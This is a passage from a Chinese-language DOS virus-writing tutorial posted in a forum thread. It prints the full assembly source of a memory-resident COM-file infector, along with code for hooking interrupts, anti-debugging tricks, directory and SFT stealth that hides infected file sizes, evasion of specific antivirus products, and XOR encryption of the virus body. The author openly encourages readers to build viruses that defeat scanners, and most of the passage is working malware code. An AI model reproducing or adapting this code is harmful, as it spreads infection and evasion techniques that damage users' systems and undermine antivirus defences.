  mov  ax,ds      ; DS = PSP 
  dec  ax      ; We use AX as temporal register 
  mov  ds,ax      ; DS = MCB 

  mov  bx,word ptr ds:[03h]  ; We put in BX the amount of memory 
  sub  bx,((virus_size+15)/16)+1 ; and then we put in BX for change 
  mov  word ptr ds:[03h],bx  ; We put it in its original place 

  mov  byte ptr ds:[0],"M"     ; Mark as not last block 

  sub  word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size 
          ; to TOM size 
  mov  ax,word ptr ds:[12h]  ; Now offset 12h handles the new seg. 
  mov  es,ax      ; And we need AX for put it in ES 

  mov  byte ptr es:[0],"Z"     ; Mark as last block 
  mov  word ptr es:[1],0008h  ; Mark DOS as owner 

%把病毒放到内存中% 
~~~~~~~~~~~~~~~~~~ 
    在驻留内存病毒的编写中,这是最简单的。如果你知道我们使用MOVSB这个指令(当然
还有MOVSW,MOVSD...)能做什么,那你就知道由多简单了。而我们必须做的是确定移动什么
和移动多少数据。这相当简单,可以想象,要移动的数据的开始总是等于偏移地址的变化
量,假如我们已经把偏移地址的变化量赋给BP,我们所要做的所有事情就是把BP的内容赋
给SI,并把病毒的大小以字节的形式赋给CX(或者如果我们想用MOVSW就以字的形式)。记住
DI必须为0,使用xor di,di就足够了(一种使指令mov di,0的优化方法)。让我们来看代码
... 

  push  cs      ; Adjust segments 
  pop  ds      ; CS = DS 

  xor  di,di      ; DI = 0 ( Top Of Memory ) 
  mov  si,bp      ; SI = offset virus_start 
  mov  cx,virus_size    ; CX = virus_size 
  rep  movsb      ; Move bytes from DS:SI to ES:DI 

%钩住中断(Hooking interrupts)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    在把我们的病毒移入内存之后,我们需要修改它使得至少能感染其它文件。在所有的
驻留内存病毒中,通常是INT 21h,但是在一个启动扇区病毒(或者分成多部分还感染软盘
和MBR的病毒)中,我们还必须钩住INT 13h。我们要钩住的中断取决于我们的需要。有两种
钩住中断的方法:使用DOS或者检测钩子。在编写我们的处理程序时我们必须强调一些东西
: 

    首先,我们必须在开始处理程序之前使用压栈来保存所有的寄存器的值(标志也要保存
),而且在我们要把控制权返回给原先程序的时候,要把它们所有都出栈。 

    其次,我们必须记住我们永远不要使用那些已经被我们钩住了的中断,否则我们将会
陷入无限循环。让我们想象一下我们已经钩住了INT 21h的3Dh功能(打开文件),我们调用
这个钩住的功能(或者另外一个我们自己的中断处理程序)...计算机将会挂机了。为此,我
们应该按照如下方法假调用INT 21h: 

 CallINT21h: 
  pushf 
  call  dword ptr cs:[oldint21] 
  iret 

    我们还能做另外一件事情。我们能够重定向另外一个中断,使它指向旧的INT 21h。一
个好的选择看上去是INT 03h:它是一个好的反调试的花招,使得我们的代码更小(INT 03h
的编码是CCh,只有一个字节,而普通的中断的编码为CDh XX,XX是我们中断号的十六进制
数),而且我们忘记了调用被钩住的功能的所有问题。当我们要把控制权交给原先的INT 2
1h的时候,最好恢复所有的被钩住的被重定向到INT 21h的中断。 

    利用DOS钩住中断: 
      
    我们必须在放入我们自己的向量之前获得原先中断的向量。这个可以利用INT 21h 的
35h功能来实现。让我们来看一下这个功能的参数: 

 AH=35h 
 AL=中断号 

    调用之后,它将会返回如下值: 
AX=Preserved 
ES=Interrupt Handler Segment 
BX=Interrupt Handler Offset 

    调用这个功能之后,我们把ES:BX保存到我们的代码的一个变量里,以备后用,并设置
一个新的中断处理句柄。我们必须使用的功能是INT 21h的25h。下面给出参数: 

 AH = 25h 
 AL = Interrupt Number 
 DS = New Handler Segment 
 DX = New Handler Offset 

    让我们看看通过使用DOS来实现中断钩子的例子: 

  push  cs      ; Adjust segments 
  pop  ds      ; CS = DS 

  mov  ax,3521h    ; Get interrupt vector function 
  int  21h 

  mov  word ptr [int21_off],bx ; Now store variables 
  mov  word ptr [int21_seg],es 

  mov  ah,25h      ; Put new interrupt 
  lea  dx,offset int21handler  ; Offset to new handler 
  int  21h 
  [...] 

 oldint21  label dword 
 int21_off  dw 0000h 
 int21_seg  dw 0000h 

    直接中断钩子: 

    如果我们忘记了DOS,我们将赢得我曾经提过的东西(在直接MCB修改中)。你还记得中
断向量表的结构吗?它在0000:0000处开始,到0000:0400h处为止。这里有我们所能使用的
所有中断,从INT 00h到INT FFh。让我们看看一些代码: 

  xor  ax,ax      ; Make zero AX 
  mov  ds,ax      ; For make zero DS ( now AX=DS=0 ) 
  push  ds      ; We nned to restore DS later 

  lds  dx,ds:[21h*4]    ; All interrupts are in int number*4 
  mov  word ptr es:int21_off,dx ; Where save offset 
  mov  word ptr es:int21_seg,ds ;   "     "  segment 

  pop  ds      ; Restore DS 
  mov  word ptr ds:[21h*4],offset int21handler ; The new handler 
  mov  word ptr ds:[21h*4+2],es 

%关于驻留内存的最后的讨论% 

    这并不是这篇教程的最后,我们还要讨论很多病毒呢,所有这些话题将在接下来的讨
论中见到,但是我认为你现在应该知道怎么编写驻留内存病毒了。从现在起到最后的所有
讨论都是有关于TSR病毒的。当然了,如果我说有些是运行期病毒的话,不要尖叫呦! 

    在结束这一课的时候,我必须给出一个完整的驻留内存病毒。这里我还要使用G病毒,
它是一个很蹩脚的感染COM的病毒。 

;-------从这里开始剪切---------------------------------------------------- 
; 这段代码注释得和运行期病毒一样好。我希望到这里后所有得问题都很清楚了。 
; Virus generated by G 0.70 
; 作者 Dark Angel 属于Phalcon/Skism 
; 汇编:TASM /m3 lame.asm 
; 连接: Tlink /t lame.obj 

checkres1  =  '' 
checkres2  =  '' 

  .model  tiny 
  .code 

  org  0000h 

start: 
  mov  bp, sp 
  int  0003h 
next: 
  mov  bp, ss:[bp-6] 
  sub  bp, offset next   ; Get delta offset 

  push  ds 
  push  es 

  mov  ax, checkres1    ; Installation check 
  int  0021h 
  cmp  ax, checkres2    ; Already installed? 
  jz  done_install 

  mov  ax, ds 
  dec  ax 
  mov  ds, ax 

  sub  word ptr ds:[0003h], (endheap-start+15)/16+1 
  sub  word ptr ds:[0012h], (endheap-start+15)/16+1 
  mov  ax, ds:[0012h] 
  mov  ds, ax 
  inc  ax 
  mov  es, ax 
  mov  byte ptr ds:[0000h], 'Z' 
  mov  word ptr ds:[0001h], 0008h 
  mov  word ptr ds:[0003h], (endheap-start+15)/16 

  push  cs 
  pop  ds 
  xor  di, di 
  mov  cx, (heap-start)/2+1  ; Bytes to move 
  mov  si, bp      ; lea  si,[bp+offset start] 
  rep  movsw 

  xor  ax, ax 
  mov  ds, ax 
  push  ds 
  lds  ax, ds:[21h*4]    ; Get old int handler 
  mov  word ptr es:oldint21, ax 
  mov  word ptr es:oldint21+2, ds 
  pop  ds 
  mov  word ptr ds:[21h*4], offset int21 ; Replace with new handler 
  mov  ds:[21h*4+2], es  ; in high memory 

done_install: 
  pop  ds 
  pop  es 
restore_COM: 
  mov  di, 0100h    ; Where to move data 
  push  di      ; In what offset will the ret go 
  lea  si, [bp+offset old3]  ; What to move 
  movsb        ; Move 3 bytes 
  movsw 
  ret        ; Return to 100h 

old3    db  0cdh,20h,0 

int21: 
  push  ax 
  push  bx 
  push  cx 
  push  dx 
  push  si 
  push  di 
  push  ds 
  push  es 

  cmp  ax, 4B00h    ; execute? 
  jz  execute 
return: 
  jmp  exitint21 
execute: 
  mov  word ptr cs:filename, dx 
  mov  word ptr cs:filename+2, ds 

  mov  ax, 4300h    ; Get attributes for later restore 
  lds  dx, cs:filename 
  int  0021h 
  jc  return 
  push  cx 
  push  ds 
  push  dx 

  mov  ax, 4301h    ; clear file attributes 
  push  ax      ; save for later use 
  xor  cx, cx 
  int  0021h 

  lds  dx, cs:filename   ; Open file for read/write 
  mov  ax, 3D02h 
  int  0021h 
  xchg  ax, bx 

  push  cs      ; Adjust segments 
  pop  ds 

  push  cs 
  pop  es      ; CS=ES=DS 

  mov  ax, 5700h    ; get file time/date 
  int  0021h 
  push  cx 
  push  dx 

  mov  cx, 001Ah    ; Read 1Ah bytes of file 
  mov  dx, offset readbuffer 
  mov  ah, 003Fh 
  int  0021h 

  mov  ax, 4202h    ; Move file pointer to the end 
  xor  dx, dx 
  xor  cx, cx 
  int  0021h 

  cmp  word ptr [offset readbuffer], 'ZM' ; Is it EXE ? 
  jz  jmp_close 
  mov  cx, word ptr [offset readbuffer+1] ; jmp location 
  add  cx, heap-start+3  ; convert to filesize 
  cmp  ax, cx      ; equal if already infected 
  jl  skipp 
jmp_close: 
  jmp  close 
skipp: 

  cmp  ax, 65535-(endheap-start) ; check if too large 
  ja  jmp_close    ; Exit if so 

  mov  di, offset old3   ; Restore 3 first bytes 
  mov  si, offset readbuffer 
  movsb 
  movsw 

  sub  ax, 0003h 
  mov  word ptr [offset readbuffer+1], ax 
  mov  dl, 00E9h 
  mov  byte ptr [offset readbuffer], dl 
  mov  dx, offset start 
  mov  cx, heap-start 
  mov  ah, 0040h    ; concatenate virus 
  int  0021h 

  xor  cx, cx 
  xor  dx, dx 
  mov  ax, 4200h    ; Move pointer to the beginning 
  int  0021h 


  mov  dx, offset readbuffer  ; Write first 3 bytes 
  mov  cx, 0003h 
  mov  ah, 0040h 
  int  0021h 


close: 
  mov  ax, 5701h    ; restore file time/date 
  pop  dx 
  pop  cx 
  int  0021h 

  mov  ah, 003Eh    ; Close file 
  int  0021h 

  pop  ax      ; restore file attributes 
  pop  dx      ; get filename and 
  pop  ds 
  pop  cx      ; attributes from stack 
  int  0021h 

exitint21: 
  pop  es 
  pop  ds 
  pop  di 
  pop  si 
  pop  dx 
  pop  cx 
  pop  bx 
  pop  ax 

  db  00EAh      ; return to original handler 
oldint21  dd  ? 

signature  db  '[PS/G齗',0 

heap: 
filename  dd  ? 
readbuffer  db  1ah dup (?) 
endheap: 
  end  start 
;-------到这里为止剪切---------------------------------------------------- 

    对不住了,我知道我实在是太懒了。你也可以认为这是一种懒惰的态度,可能就是吧
。但是只要想想在写这篇教程的时候我正在编写一些病毒和为DDT杂志写文章,所以我就没
有足够的时间来为这篇教程写我自己的病毒了。嗨,没有人因为这篇文章给我报酬,你知
道吗? 
 
返回顶端      
 
 
onlyu
侠客



年龄:24 
十二宫图:
加入时间: 2003/11/20
文章: 23

Points: 30

 时间: 2004-2-10 周二, 下午6:30    标题: go on..................   

------------------------------------------------------------------------------
--
 
【保护你的代码】 
~~~~~~~~~~~~~~ 
    这个话题在业界是一个很热门的话题。许多病毒编写者保护它们的代码是为了使病毒
查杀工具更困难。当然,我们我们还要讨论反调试的方法。有许多众所周知的技术...但是
,在这里能看到是一件很好的事情...你说呢? 
    关于这个,有很多可能的方法。它们许多都是可配置的。你也可以利用传统的方法。
我认为应该至少要放一个例程到你的多态引擎中(在长-例程表里,如Wintermute的Zohra病
毒)来欺骗病毒查杀工具,防止它们对我们的代码解密。出发喽! 
    一个非常有用的东西是释放键盘。当我们释放键盘时,调试器使用者就不能再跟踪了
(在TD里F7)。如果使用者正常运行一个程序...没问题。只要一个int 3(断点)将会做其它
事了。它是一个非常简单的东西却做得很好!让我们看看一些代码: 

 bye_keyb: 
  in  al,21h      ; Let's deactivate keyboard 
  or  al,02h      ; Try to press any key... 
  out  21h,al 

 fuck_int3: 
  int  3h      ; Breakpoint 

 exit_adbg: 
  in  al,21h      ; Let's activate keyboard 
  and  al,not 2    ; keyb works now 
  out  21h,al      ; cool  

    这是一个很好得方法。只要你会做...当我们的病毒正在运行时不时地释放键盘将会:
使得差劲地使用者很惊奇,不允许他按该死的^C,所有你想做的将会成功。真的时非常有
用而简单的事情。 
    另一个方法是对堆栈做些手脚。许多反调试工具就是用的这个古老而简单的方法。利
用这个方法,你可以做你想做的任何事情。下面给出: 

 do_shit_stack: 
  neg  sp 
  neg  sp 

    简单吧,哈哈?你也可以使用NOT而不使用NEG,同样的结果。 

 tons_of_shit: 
  not  sp 
  not  sp 

    NEG有什么用呢?它把寄存器加1然后对结果进行NEG操作。但是它是一个非常老的花招
了...你可以用它,但是最好用其它的方法吧,对于厉害的调试器如S-ICE就不一定有效了
。但是如果你使用一个多态引擎你就添上如下的代码,那么病毒查杀工具在解密你的病毒
的时候就会受挫了。呵呵...你能使用的另外一个方法是使堆栈溢出: 

 overflower: 
  mov  ax,sp 
  mov  sp,00h 
  pop  bx 
  mov  sp,ax 

    当然啦...还有更多呢。另外一个经典的方法是钩住INT 1 和/或 INT 3。你有许多方
法来做这个。好了,我再介绍几个方法: 

 change_int1_and_int3_using_dos: 
  mov  ax,2501h    ; AL = INT to hook 
  lea  dx,newint    ; Take care if we need 
  int  21h      ; ?offset, by adding it... ok? 
  mov  al,03h 
  int  21h 
  [...] 
 newint: 
  jmp  $ 
  iret        ; Why if don't used? hehehe  

    这个例程能被一个TSR监视程序发现。我建议你使用下面的方法。通过直接操作实现钩
子: 

 int1: 
  xor  ax,ax      ; Let's try to put an IRET in INT 1 
  mov  es,ax      ; We need ES = 0. IVT is in 0000:0000 
  mov  word ptr es:[1h*4],0FEEBh ; a jmp $ 

 int3: 
  xor  ax,ax 
  mov  es,ax 
  mov  word ptr es:[3h*4],0FEEBh ; a jmp $ 

    如果你不想使计算机挂机,把0FEEBh代替为0CF90h(一个nop和iret指令[当然要把顺序
颠倒过来啦])。 
    你能想到的很酷的主意是是int 3指向int 21,然后你就可以使用这个中断而不使用i
nt 21了。这样有两个好处:欺骗调试器和优化你的代码...为什么优化你的代码呢?因为i
nt 21指令的代码是CD 21(占两个字节),而int 3仅仅是CC... 
    记住int 3是调试器的一个断点,所以每次你调用int 3,调试器就会停止下面给出代
码: 

 getint21: 
  mov  ax,3521h    ; Get interrupt vectors 
  int  21h 
  mov  word ptr [int21_ofs],bx 
  mov  word ptr [int21_seg],es 

  mov  ax,2503h 
  lea  dx,jumptoint21 
  int  21h 
  [...] 

 jumptoint21  db  0EAh 
 int21    equ  this dword 
 int21_ofs  dw  0000h 
 int21_seg  dw  0000h 

    我们还可以比较堆栈为了知道我们是否正在被调试。下面给出例子: 

 stack_compares: 
  push  ax 
  pop  ax 
  dec  sp 
  dec  sp 
  pop  bx 
  cmp  ax,bx 
  jz  exit_adbg    ; not debugged 
  jmp  $      ; hang computers is cool  
 exit_adbg: 

    记住,如果需要,先使断点无效(cli),后使断点有效(sti)。是的,还有更多的方法
来保护我们的代码。但是,嗨!它们太老了,它们有效!看看下面的一个方法...我很喜欢
这个方法。看看下面的代码: 

 prefetch: 
  mov  word ptr cs:fake,0FEEBh ; Why do you think this made 
 fake:  jmp  nekst      ; if debugged? Yes, hang PC! 
 nekst:         ; Continue with your code here 

    你还可以利用prefetch做更多的事情。你还可以跳到一个程序或者设置一个hlt指令(
也能挂机)...无论你想要什么,如下: 

 prefetch_fun: 
  mov  word ptr cs:fake2,04CB4h 
 fake2: jmp  bye_fake 
  int  21h 
 bye_fake: 

    这段代码将会终止程序的执行,现在一段特殊的为SoftIce准备的例程(最好的调试器
也被骗过了)。 

    更多的代码: 

 soft_ice_fun: 
  mov  ax,0911h    ; Soft-ice function for exec. command 
  mov  di,4647h    ; DI = "FG" 
  mov  si,4A4Eh    ; SI = "JM" 
  lea  dx,soft_ice_fuck  ; Yeah 
  int  03h      ; Int for breakpoints 

 soft_ice_fuck  db  "bc *",10,0 

    另外一个花招是钩住int 8,并在那里放置一个比较我们驻留内存代码里的一个变量,
因为许多调试器会释放所有的中断除了int 8之外。int 8 指令在一秒之内能执行18.2次。
我建议你在钩住它之前保存就的句柄。你想看代码吗?下面给出: 

 save_old_int8_handler:     ; You remember 40-hex magazine? 
  mov  ax,3508h    ; This routine is from issue #7 
  int  21h 
  mov  word ptr [int8_ofs],bx 
  mov  word ptr [int8_seg],es 
  push  bx es 
  mov  ah,25h      ; Put int 8 handler 
  lea  dx,virii 
  int  21h 
 fuckin_loop: 
  cmp  fuckvar,1    ; This will cause a little delay 
  jnz  fuckin_loop 
  pop  ds ds 

  int  21h 
  mov  ax,4C00h 
  int  21h 

 fuckvar  db  0 
 int8    equ  this dword 
 int8_ofs  dw  0000h 
 int8_seg  dw  0000h 
 program: 
    ; bla bla bla 
  mov  fuckvar,1 
    ; more and more bla 
  jmp  dword ptr [int8] 

    记住Demogorgon的忠告:“没有保护的代码就是公开的”。 
    嗨!如果你需要得到偏移地址要小心点(如运行期病毒),并加上它...ok? 

【隐蔽(Stealth)】 
~~~~~~~~~~~~~~~ 
    什么是隐蔽?在病毒编写世界里,是指所有这些技术,使得我们隐藏病毒的感染特征
,如文件大小的增长,我们执行一个程序去些一个写保护了的软盘的错误信息"Abort,Ret
ry,Ignore",读一个消了毒的文件,文件的日期看起来没什么问题...换句话说,使用户相
信一些假的东西。隐蔽还是一个病毒组织的名字(SGWW),但这是另外一段历史了 

    % INT 24h 隐蔽 % 
    ~~~~~~~~~~~~~~~~ 
    是的,这是一种隐蔽的方法。你可以认为它太老了,但是我相信这是在病毒里实现隐
蔽的第一步。目标是在我们正在执行一个写保护了的软盘上的程序,使得病毒企图写,并
且它做了,但是DOS发现了这个错误,要避免出现"Abort,Retry,Ignore"这个错误提示信息
。如果使用者看到了这个信息,将会怀疑有些问题... 
    这非常简单,所有我们要做的就是取代原先的INT 24h中断向量(这个中断处理严重的
错误)来欺骗这个中断,代码仅仅为"mov al,3",后面跟着一个"iret"。 
    让我们看看: 

  mov  ax,3524h 
  int  21h 
  mov  word ptr [int24_off],bx 
  mov  word ptr [int24_seg],es 

  mov  ax,2524h 
  lea  dx,int24handler 
  int  21h 
  [...] 

 int24handler: 
  mov  al,3 
  iret 

%目录隐蔽% 
~~~~~~~~~~ 
    有两种类型的目录隐蔽:通过FCB和通过句柄。 

  FCB 隐蔽: 
    你还记得FCB的结构吗?你可以看看结构这一章,如果你已经忘了 
    好了,让我们来看看...这里我们的目标是把病毒大小减去真正的感染的病毒的大小,
你必须添加如下的代码到你的int 21h的处理: 
  
  [...] 
  cmp  ah,11h      ; FindFirst ( FCB ) 
  je  FCBstealth 
  cmp  ah,12h      ; FindNext ( FCB ) 
  je  FCBstealth 
  [...] 

    然后我们创建一个过程叫FCBstealth(你也可以命名为其它的),让后放进一个假的中
断调用。然后我们经常结果是否为0,如果为0,我们直接跳到中断返回处,否则,我们继
续。现在我们把我们使用的寄存器(AX,BX,ES)压栈,然后我们调用INT 21h功能Ah=2Fh,把
DTA的地址返回到ES:BX中。现在该是检测FCB是普通的还是扩展的时候了。通把FCB的第一
个字节(在ES:[BX]中)和FFh比较,我们就知道了。如果相等,则FCB是扩展的,然后我们通
过对BX加7个字节来修正它。如果它是普通的,我们保留它。现在我们经常这个文件是否已
经被感染过。为了使我们的问题最简单,我将假设感染的标志是使秒数达到60(一个不可能
的值)。如果它没被感染,我们跳过这个文件。现在该是减去病毒大小的时候了,和...这
里我们有!FCB隐蔽!让我们看看代码: 

FCB_Stealth: 
  pushf 
  call  dword ptr cs:[oldint21] ; Fake call to INT 21h 
  or  al,al      ; Optimized cmp al,0 
  jnz  error 

  push  ax bx es 

  mov  ah,2Fh      ; Get DTA address in ES:BX 
  int  21h 

  cmp  byte ptr es:[bx],0FFh  ; Is FCB extended ? 
  jne  normal 
  add  bx,07h      ; No, fix it 
normal: 
  mov  ax,es:[bx+17h]    ; Get seconds 
  and  ax,1Fh      ; Unmask seconds 
  xor  al,1Eh      ; Are seconds = 60 ? ( 30*2 ) 

  jne  not_infected    ; No, skip it 

  sub  word ptr es:[bx+1Dh],virus_size ; Substract virus size 
  sbb  word ptr es:[bx+1Fh],0  ; With borrow, too 

not_infected: 
  pop  es bx ax 

error: 
  retf  02 

    句柄隐蔽: 
    句柄是达到FCB隐蔽目的的另外一种方法。我们的目标也一样,隐藏大小(还有其它如
果需要的话)...但是这个功能我们必须阻止,而我们必须改变的东西也有一点不一样(如果
一样我们就使用和上面一样的代码了) 
    好了,我提供给你的INT 21h 的处理代码如下: 

  [...] 
  cmp  ah,4Eh      ; FindFirst ( Handle ) 
  je  HandleStealth 
  cmp  ah,4Fh      ; FindNext ( Handle ) 
  je  HandleStealth 
  [...] 

    现在,我将解释一个经典的处理隐蔽的例程。首先,我们编写一个调用旧INT 21h的假
调用函数(当然要在把标志压栈后啦)。接下来,我们把要保存的寄存器保存了(AX,BX,ES)
并获得ES:BX(AH=2Fh)里的DTA。我们检查是否已被感染(在ES:[BX+17h]处),如果已经被感
染,我们就把文件的大小减去病毒的大小。它和上面的隐蔽的方法很类似,但是,正如你
看到的,还有一些不同的东西。 
    光有理论没有代码太无聊了 

 HandleStealth: 
  pushf 
  call  dword ptr cs:[oldint21] ; Fake call to DOS API 
  jc  goback      ; CF=1 if error 

  push  ax bx es    ; Save registers we use 

  mov  ah,2Fh      ; DTA @ ES:BX 
  int  21h 

  mov  ax,es:[bx+16h]    ; Get the file time 
  and  ax,1Fh      ; Unmask Seconds 
  xor  al,1Eh      ; 60 ? ( Compare in optimized way ) 
  jne  damnedpops    ; Fuck! 

  sub  word ptr es:[bx+1Ah],virus_size ; Guess... 
  sbb  word ptr es:[bx+1Ch],0 

 damnedpops: 
  pop  es bx ax    ; Get the old values 

 goback: 
  retf  02 

%目录隐藏里的问题% 
~~~~~~~~~~~~~~~~~~ 
    还有一些问题需要改正,为了避免使用户痛苦,我们需要检查是否有一些问题: 
-压缩工具,如PKZIP,RAR,ARJ,LHA,AIN,等等。因为如果我们给它们一个不正确的大小,那
它们在压缩文件的时候将会崩溃 
-辅助工具如CHKDSK,将会不停地显示一个永不停止的错误列表,因为硬盘上文件的大小和
我们显示给用户看的大小不相等 
-病毒查杀工具如F-PROT,AVP和其它的SCUM,会保护显示可能被一个隐蔽的病毒感染的信息
。 
    所以,浪费一些代码来做比较为了看看这些程序中是否有一个正在运行,然后释放隐
蔽并不是一个坏主意(当我们脱离危险之后,再激活)。 

%中断向量隐蔽% 
~~~~~~~~~~~~~~ 
    这种类型的隐蔽非常容易。当我们使用这种方法的时候,我们试图获得原先的向量(在
安装我们自己的中断处理程序的时候需要得到它们)给请求调用的程序。对于有些事情有好
处:我们的中断处理程序将总是在第一位的。让我们看看如果我们钩住了上述的中断,我
们需要添加什么给INT 21h的向量呢。 

  [...] 
  cmp  ax,3521h    ; Get INT 21h vectors 
  je  RequestINT21h 
  cmp  ah,2521h    ; Put INT 21h vectors 
  je  PutNewINT21h 
  [...] 

添加我们如下的例程: 

 RequestINT21h: 
  mov  bx,word ptr cs:[int21_off] ; Return in BX the old int offset 
  mov  es,word ptr cs:[int21_seg] ; Return in ES the old int segment 
  iret 

 PutNewINT21h: 
  mov  word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg 
  mov  word ptr cs:[int21_off],dx ;  "   "   "  offset  "  int21_off 
  iret 

%时间隐蔽% 
~~~~~~~~~~ 
    这里我不能列出代码了因为这个是属于私人的东西,当你编写你的病毒的时候,它必
须适合你的需要。你可以使用很多的方法来标志感染的文件...把秒设置到60,62...(不可
能),使年增加100年,使秒和日期相等...获得时间和日期的方法使使用功能AX=5700h,并
赋新值AX=5701h。将在CX中得到时间,在DX中得到日期(这些我们必须要中途改变以实现隐
蔽的)。 

%SFT隐蔽% 
~~~~~~~~~ 
    如果你还记得SFT这个结构,在偏移地址11处,我们有一个双字用来保存文件的大小,
那么所有我们需要做的使看这个文件是否已被感染,如果已经感染了,把文件的大小减去
病毒的大小。让我们看一小段代码(假设感染的标志是seconds=60,并且我们已经调用了一
个例程使得SFT在ES:DI中): 

 Infect: 
  [...] 
  mov  ax,word ptr es:[di+0Dh] ; Get time 
  and  al,01Fh     ; Unmask seconds 
  cmp  al,01Eh     ; Seconds = 60 ? 
  jnz  AintInfected    ; No, infect it 

  sub  word ptr es:[di+11h],virus_size ; Yes, substract virus size 
  sbb  word ptr es:[di+13h],0000h 
  [...] 
 AintInfected: 
  [...] 

    你能做的一件比较好的事情是避免AVP 3.0的扫描。首先,我们必须知道AVP是否正在
运行。当AVP 3.0打开一个文件,有许多值使得我们知道它正在运行着呢(BX=5,SI=402Dh)
。现在该是获得SFT的时候了,然后仅用两行代码,对于Kaspersky's son,使所有的文件
大小为0: 

  mov  word ptr es:[di+11h],0000h 
  mov  word ptr es:[di+13h],0000h 
    或者只使一个如果我们能够 

  mov  dword ptr es:[di+11],00000000h 

%在空中消毒% 
~~~~~~~~~~~~ 
    这里我还是不能给你一些代码。它必须由你来编...但是我可以给你INT 21h的代码:
 

  [...] 
  cmp  ah,03Dh     ; Open file 
  jz  Disinfect 
  cmp  ax,6C00h    ; Extended open 
  jz  Disinfect 
  cmp  ah,03Eh     ; Close file ( infect now!!! ) 
  jz  Infect 
  [...] 

    现在,我们必须注意一件事情...我们必须修改一些东西来编写AH=3Dh和AX=6C00h的相
同例程。 
1.文件名在Ah=3Dh时的DS:DX处,在AX=6C00h时的DS:SI处。 
2.打开模式在AH=3Dh时的AL中,在AX=6C00h时的BL中。 

    所以,我们需要编写一个例程来修改访问6C00h功能。它可能应该这样: 

 Disinfect: 
  cmp  ax,6C00h 
  jne  Check 
  cmp  dx,1 
  jne  ExitDisinfection 
  mov  al,bl      ; Open mode in AL 
  mov  dx,si      ; File name is now in DS:DX 
 Check: 
  mov  ax,5700h 
  int  21h      ; If we've hooked this function, 
          ; we need to make a fake call! ( or 
          ; use SFTs! ) 
  and  cl,1Fh      ; Unmask seconds 
  or  cl,1Eh      ; Is it 60? 
  jnz  NotInfected 
  [...] 

    消毒是你必须要做的一个例程。它没有FCB隐蔽那么普遍,因为在FCB隐蔽中你有很多
选择。OK,我至少应该解释它是怎么工作的。 
     
    给COM文件消毒: 
  
    给COM文件消毒很简单。我们需要恢复原先感染改变的第一个字节(通常3个字节),恢
复原先文件的时间/日期,移除病毒的主体(在"文件尾-病毒大小"偏移地址处改为文件结束
)。 

    给EXE文件消毒: 

    这实现起来稍微有一点点难,但不难理解 
    我们需要恢复原先的文件头,恢复时间/日期和移除文件末尾处的病毒主体。但是如果
我们的病毒是经过加密的话就有问题了。你必须选择要不这几个字节不加密(就给了病毒查
杀工具杀毒的方法了)要不就给这些字节解密。无论如何,它还是比较简单的。 

%关于隐蔽的最后讨论% 
~~~~~~~~~~~~~~~~~~~~ 
    还有更多的隐蔽的方法,如4202隐蔽,扇区隐蔽...但是我已经解释了最简单最常用的
方法。BTW,如果我们使用SFT隐蔽,那我们就不需要4202隐蔽了 
    在某些类型的隐蔽方法中,最可怕的事情就是和某些软件不兼容,那样可能会适得其
反。 
    读到这里,你可能要问了:"隐蔽有用吗?"答案是一个大大的YES。这个是把病毒的感
染隐藏的最好的方法:文件看起来大小没有变化,病毒查杀工具不会查到任何有用的信息
(使用一个十六进制编辑器来查看蛛丝马迹同样只是浪费时间罢了),还有更多的好处。你
能做的最好的事情就是当诸如CHKDSK,PKZIP之类的程序运行时释放隐蔽。所有这些只是举
手之劳。 

【加密】 
~~~~~~ 
    加密技术真的很老了,但是它们仍然很有效,而且很有用,可能是在概念上幸存下来
的几个技术之一,但是仍然在继续发展着,如多态,超多态,等等。我们的目标是隐藏我
们的所有的文本字符串,可以的操作码,和所有会使用户引起注意的东西。我们可以利用
一个简单的数学运算来实现,应用到我们病毒主体的所有字节。例如,我们可以使病毒的
所有字节加1,然后我们就看不到任何可读的信息了 
    一个加密了的病毒如下: 
          
        ___________________________________ 
       |                                   | 
   ___ |         Call to decryptor         | 
  |    |___________________________________|  
  |    |                                   |<-----| 
  |    |                                   |      | 
  |    |           Infected file           |      | 
  |    |                                   |      | 
  |    |___________________________________|      | 
  |    |                                   |<--|  | 
  |    |            Virus body             |   |  | 
  |    |___________________________________|___|__| 
  |--->|                                   |   | 
       |             Decryptor             |   | 
       |___________________________________|___| 

    非常简单,有一个调用解密程序的call,当解密程序解完密之后,它就把控制权交给
病毒,当病毒执行完自身后,它就把控制权交给原先的程序。 
    有一种数学运算有一个好处,就是我们可以使用同一个函数来加密和解密我们的代码
。当然,我们要讨论XOR了,在加解密中使用得最多得指令。还有两个指令可以用来实现我
们只用一个函数就可以加密和解密目的:NOT和NEG。这两个中使用得最多的是第一个指令
。当然了,我们还可以使用更多的指令进行加密。我将给出我们可以使用的指令的列表:
 

 INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc... 

    最简单的加密我们的病毒是使用如下的例程: 

 encryption: 
  mov  cx,encrypt_size   ; encrypt_end-encrypt_start 
  mov  di,[bp+encrypt_begin]  ; From where 
  mov  si,di      ; For lodsb/stosb 
  mov  ah,key      ; Value for XOR. Subst key with whate 
          ; ver you want 
 encryption_loop: 
  lodsb        ; Move a byte from DS:SI to AL 
  xor  al,ah 
  stosb        ; Move a byte from AL to ES:DI 
  loop  encryption_loop 
  ret 
    这个过程确实很差,它只有255种可能性,因为我们把一个8比特的寄存器作为密钥(A
H)。 
    当然这个是最简单的实现方法,我们必须注意一些事情: 

-如果我们使用这样的例程,而且我们没有我们的病毒在内存中的备份(在这篇文章中我将
讨论它),当使用这个例程的时候,我们必须不能把解密过程代码复制(调用解密的过程也
一样)到感染文件。 

-在病毒第一次产生的时候,我们必须注意病毒的状态:它没有被加密。使用xor,在第一
次产生的时候,我们可以使用00来加密,并编写一个过程在代码中改变这个值,或者简单
地避免在第一次产生的时候使用加密过程。 

    现在,我们将来看看当我们使用一个16比特密钥加密的上述加密过程: 

 encryption: 
  mov  cx,(encrypt_size+1)/2  ; encrypt_end-encrypt_start/2 
  mov  di,[bp+encrypt_begin]  ; From where 
  mov  si,di      ; For lodsw/stosw 
  mov  dx,key      ; Value for XOR. Subst key with whate 
          ; ver you want 
 encryption_loop: 
  lodsw        ; Move a word from DS:SI to AX 
  xor  ax,dx 
  stosw        ; Move a word from AX to ES:DI 
  loop  encryption_loop 
  ret 

    问题是:如果我们没有对拷贝和加密的过程不加密...病毒查杀工具将会做什么呢?它
们在我们的病毒(是的,是的,我们花费了大量的时间和精力来反启发,隐蔽,其它的一些
